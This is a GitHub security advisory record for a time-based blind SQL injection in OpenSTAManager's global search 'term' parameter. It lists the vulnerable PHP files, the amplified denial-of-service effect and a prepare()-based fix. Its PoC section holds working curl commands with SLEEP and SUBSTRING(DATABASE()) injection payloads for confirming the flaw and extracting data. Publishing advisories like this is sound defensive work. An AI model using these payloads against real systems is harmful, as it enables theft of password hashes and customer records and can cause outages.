{"id":"GHSA-4hc4-8599-xh2h","summary":"OpenSTAManager has a Time-Based Blind SQL Injection with Amplified Denial of Service","details":"### Summary\n\nCritical Time-Based Blind SQL Injection vulnerability affecting **multiple search modules** in OpenSTAManager v2.9.8 allows authenticated attackers to extract sensitive database contents including password hashes, customer data, and financial records through time-based Boolean inference attacks with **amplified execution** across 10+ modules.\n\n**Status:** ✅ Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameter:** `term` (GET)\n**Affected Endpoint:** `/ajax_search.php`\n**Affected Modules:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the global search functionality. The application fails to properly sanitize the `term` parameter before using it in SQL LIKE clauses across multiple module-specific search handlers, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/ajax_search.php` (Line 30-31)\n   ```php\n   $term = get('term');\n   $term = str_replace('/', '\\\\/', $term);\n   ```\n   The `$term` parameter undergoes minimal sanitization (only forward slash replacement).\n\n2. **Distribution:** `/src/AJAX.php::search()` (Line 159-161)\n   ```php\n   $files = self::find('ajax/search.php');\n   array_unshift($files, base_dir().'/ajax_search.php');\n   foreach ($files as $file) {\n       $module_results = self::getSearchResults($file, $term);\n   ```\n   The unsanitized `$term` is passed to all module-specific search handlers.\n\n3. **Execution:** `/src/AJAX.php::getSearchResults()` (Line 373)\n   ```php\n   require $file;\n   ```\n   Each module's search.php file is included with `$term` variable in scope.\n\n4. **Vulnerable SQL Queries:** Multiple modules directly concatenate `$term` without `prepare()`\n\n**All Affected Files (10+ vulnerable instances):**\n\n1. **`/modules/articoli/ajax/search.php` - Line 51** (PRIMARY EXAMPLE)\n   ```php\n   foreach ($fields as $name =\u003e $value) {\n       $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   }\n   $rs = $dbo-\u003efetchArray($query);\n   ```\n   **Impact:** Direct concatenation without `prepare()`, allows full SQL injection.\n\n2. **`/modules/ordini/ajax/search.php` - Line 43, 47**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   $query .= '... WHERE `mg_articoli`.`codice` LIKE \"%'.$term.'%\" OR `mg_articoli_lang`.`title` LIKE \"%'.$term.'%\"';\n   ```\n\n3. **`/modules/ddt/ajax/search.php` - Line 43, 47**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n4. **`/modules/fatture/ajax/search.php` - Line 45, 49**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n5. **`/modules/preventivi/ajax/search.php` - Line 45, 49**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n6. **`/modules/anagrafiche/ajax/search.php` - Line 62, 107, 162**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n7. **`/modules/impianti/ajax/search.php` - Line 46**\n   ```php\n   $query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n   ```\n\n**Properly Sanitized (NOT vulnerable):**\n- `/modules/contratti/ajax/search.php` - Uses `prepare()` correctly\n- `/modules/automezzi/ajax/search.php` - Uses `prepare()` correctly\n\n**Note:** The vulnerability has **amplified execution** - a single malicious request triggers SQL Injection across ALL vulnerable modules simultaneously, causing time-based attacks to execute 10+ times per request, multiplying the delay and leading to **504 Gateway Time-out** errors as observed on the live demo instance.\n\n\u003cimg width=\"1899\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a6cc5a75-0f4e-4f49-a750-7ae72a363bbe\" /\u003e\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \\\n  -d 'username=admin&password=admin'\n```\n\n**Step 2: Verify Vulnerability (Time-Based SLEEP)**\n```bash\n# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution\ntime curl -s -b /tmp/cookies.txt \\\n  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'\n# Result: real 72.29s\n\n# Test with SLEEP(0) - should be fast\ntime curl -s -b /tmp/cookies.txt \\\n  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'\n# Result: real 0.30s\n```\n\n\u003cimg width=\"727\" height=\"319\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6022de5e-de91-4ebb-b02a-30358c31d96d\" /\u003e\n\n\n**Step 3: Data Extraction - Database Name**\n```bash\n# Extract first character of database name (expected: 'o' from 'openstamanager')\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221\" \\\n  \u003e /dev/null\n# Result: real 170.32s\n\n# Test with wrong character 'x' - should be fast\ntime curl -s -b /tmp/cookies.txt \\\n  \"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221\" \\\n  \u003e /dev/null\n# Result: real 0m0.30s\n```\n\n\u003cimg width=\"1364\" height=\"349\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a1d8a7d8-bb1a-49cd-8400-136ae5e359f1\" /\u003e\n\n\n### Impact\n\n**Affected Users:** All authenticated users with access to the global search functionality.\n\n- Complete database exfiltration including customer PII, financial records, business secrets\n- Extraction of password hashes for offline cracking\n- Amplified time-based attacks consume 85x server resources per request\n\n**Recommended Fix:**\n\nReplace all instances of direct `$term` concatenation with `prepare()`:\n\n**BEFORE (Vulnerable):**\n```php\n$query .= ' OR '.$value.' LIKE \"%'.$term.'%\"';\n```\n\n**AFTER (Fixed):**\n```php\n$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');\n```\n\n**Apply this fix to ALL affected files:**\n1. `/modules/articoli/ajax/search.php` - Line 51\n2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79\n3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83\n4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85\n5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83\n6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162\n7. `/modules/impianti/ajax/search.php` - Line 46","aliases":["CVE-2026-24417"],"modified":"2026-09-10T03:50:34.145445288Z","published":"2026-02-06T18:23:14Z","database_specific":{"github_reviewed_at":"2026-02-06T18:23:14Z","nvd_published_at":"2026-02-06T19:16:08Z","cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24417"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"affected":[{"package":{"name":"devcode-it/openstamanager","ecosystem":"Packagist","purl":"pkg:composer/devcode-it/openstamanager"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0","v2.10-beta","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.11","v2.11-beta","v2.11.1-beta","v2.4","v2.4.1","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.4.15","v2.4.16","v2.4.17","v2.4.17.1","v2.4.18","v2.4.19","v2.4.2","v2.4.20","v2.4.21","v2.4.22","v2.4.23","v2.4.24","v2.4.25","v2.4.26","v2.4.27","v2.4.28","v2.4.29","v2.4.3","v2.4.30","v2.4.31","v2.4.32","v2.4.33","v2.4.34","v2.4.35","v2.4.36","v2.4.37","v2.4.38","v2.4.39","v2.4.4","v2.4.40","v2.4.41","v2.4.42","v2.4.43","v2.4.44","v2.4.45","v2.4.46","v2.4.47","v2.4.48","v2.4.49","v2.4.5","v2.4.50","v2.4.51","v2.4.52","v2.4.53","v2.4.54","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.5","v2.5.1-beta","v2.5.2-beta","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6-beta","v2.6.1","v2.6.2","v2.7","v2.7-beta","v2.7.1","v2.7.2","v2.7.3","v2.8-beta","v2.8.1","v2.8.2","v2.8.3","v2.9","v2.9-beta","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8"],"database_specific":{"last_known_affected_version_range":"\u003c 2.9.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-4hc4-8599-xh2h/GHSA-4hc4-8599-xh2h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}